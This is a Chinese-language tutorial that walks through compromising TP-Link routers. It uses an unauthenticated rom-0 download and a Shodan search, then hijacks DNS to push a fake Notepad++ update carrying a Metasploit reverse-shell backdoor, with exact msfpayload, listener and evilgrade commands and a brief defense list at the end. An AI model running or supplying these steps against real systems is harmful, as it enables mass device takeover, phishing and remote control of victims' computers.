作者:
楚無傷
·
2014/07/16 10:32
from: http://www.exploit-db.com/wp-content/themes/exploit/docs/33369.pdf
0x00 工具
一臺膝上型電腦 TD-W8901D路由器(firmware 6.0.0) 虛擬機器(WIN7)、Kali Linux(攻擊機)、evilgrade(一個模組化的指令碼框架,可實現偽造的升級、自帶DNS和WEB服務模組,http://www.infobyte.com.ar/down/isr-evilgrade-Readme.txt) Metasploit。
0x01 示例
網際網路攻擊示意圖:

區域網攻擊示意圖

市場上有很多型別的路由器可用,但絕大部分從未升級韌體,所以可對大多數家用路由進行這個攻擊,在這個專案中使用的是最常見的TPlink路由器。
TPLINK某些版本有一個關鍵的漏洞:未授權訪問Firmware/Romfile介面,無需登陸密碼,像這樣http://IP//rpFWUpload.html。
同時也可以下載romfile備份檔案(rom-0),像這樣:http://IP address/rom-0。
步驟一:下載rom檔案 
下載回來的rom檔案需要逆向工程得到明文密碼,但有一個更簡單的方法,去俄羅斯的一個網站可以解密 http://www.hakim.ws/huawei/rom-0/
步驟二:使用賬號密碼登陸 
第三步:使用搜尋引擎SHODAN 搜尋RomPager,可在網際網路上找到700多萬個這種裝置 
簡單的改變一下路由器的DNS,就可以重定向使用者的請求,這個方法可以用來釣魚(從我瞭解的情況看來,國內已經有大批路由被利用,並已經被黑產用作釣魚欺詐,黑產表打我,我猜的)。但這個太簡單了,作者希望玩的更高(hua)深(shao)一些。
預設DNS的配置是這樣: 
改成攻擊者自己的DNS:

攻擊系統:DNS伺服器一臺、kali預裝了evilgrade 和metasploit。

第五步:建一個帶後門的payload,給使用者傳送升級指令。LHOST= 攻擊者機器IP和 LPORT =任何開放的埠。
Commad:@@# msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.5.132 LPORT=8080 x > navebackdoor.exe

第六步:啟動metasploit、執行payload



第七步:設定監聽主機和監聽埠,命令:set LHOST(攻擊者的IP)、set LPORT(監聽埠,建立後門時分配的)、exploit(進行攻擊)

第八步:啟動假的WEB升級伺服器evilgrade,執行show modules後,可以看到很多假更新模組,這裡選用notepadplus



第九步:show options可以看到模組的使用方法,設定後門升級檔案路徑使用agent:
Set agent ‘[“<%OUT%>/root/Desktop/navebackdoor.exe<%OUT%>”]’

第十步:完成以上動作後,啟動EvilGrade的WEB伺服器:
start

第十一步:等受害者開啟notepadplus,一旦開啟就會彈出要求更新的提示,更新過程中將會載入我們的後門程式。


第十二步:在攻擊機器上,evilgrade和Metasploit建立會話,等待返回的shell

第十三步:拿到shell,使用sysinfo檢視一下:

輸入help可以看到很多命令,包括scrrenshot、killav,執行vnc 等


0x02 防禦方法
經常升級你的路由器版本
路由器不要在公網暴露
系統和軟體升級時檢查證書
設定靜態IP,比如google的8.8.8.8、8.8.4.4(廣告:阿里巴巴的公共dns 223.5.5.5 和 223.6.6.6)
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!